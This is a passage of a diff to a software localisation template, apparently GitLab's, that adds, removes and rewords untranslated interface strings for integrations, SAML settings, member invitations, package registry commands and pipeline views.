msgstr ""
@@ -14014,9 +14433,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14146,16 +14562,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14167,6 +14580,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14224,6 +14640,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14305,9 +14727,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14410,9 +14829,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14428,7 +14853,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14524,9 +14952,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14722,9 +15147,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14860,9 +15282,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15039,6 +15458,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15207,6 +15629,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15365,9 +15793,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15414,12 +15839,15 @@ msgid "Importing %d repository"
msgid_plural "Importing %d repositories"
msgstr[0] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15429,9 +15857,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16017,6 +16442,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16186,6 +16614,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16231,9 +16662,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16258,6 +16686,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16294,9 +16725,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16492,7 +16920,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16501,7 +16929,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16510,25 +16938,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16543,6 +16971,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16705,6 +17136,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16714,6 +17148,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16801,6 +17238,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16864,6 +17304,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -16951,6 +17394,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -16963,9 +17409,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17005,7 +17460,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17026,7 +17484,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17038,12 +17496,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17260,15 +17724,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17359,6 +17814,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17561,6 +18019,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -17952,6 +18413,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18021,6 +18485,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18195,6 +18662,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18234,6 +18704,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18258,9 +18731,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18336,6 +18806,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18354,13 +18827,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18435,6 +18905,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18537,9 +19010,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18549,9 +19019,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18684,9 +19151,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18744,9 +19208,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19307,6 +19768,9 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19499,6 +19963,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19562,6 +20032,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19697,6 +20170,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20011,6 +20487,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20057,9 +20542,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20225,6 +20707,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20270,6 +20755,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20336,7 +20824,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20387,6 +20875,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20474,6 +20965,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20645,6 +21139,22 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20759,6 +21269,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -20891,10 +21410,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -20984,9 +21500,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21011,9 +21524,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21044,6 +21554,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21129,12 +21642,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21153,9 +21660,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21168,10 +21672,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21186,6 +21693,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21237,6 +21747,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21345,12 +21858,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21381,6 +21900,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21399,6 +21921,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21450,6 +21975,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21474,9 +22002,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21513,15 +22038,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21573,27 +22125,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21831,10 +22362,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -21915,7 +22455,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22164,9 +22704,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22185,6 +22722,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22260,6 +22800,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22329,9 +22881,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22482,10 +23031,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22521,6 +23070,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22659,6 +23220,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22683,6 +23250,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22707,6 +23277,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -22965,7 +23538,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23355,6 +23928,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23370,49 +23946,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23466,25 +24075,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23496,7 +24108,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
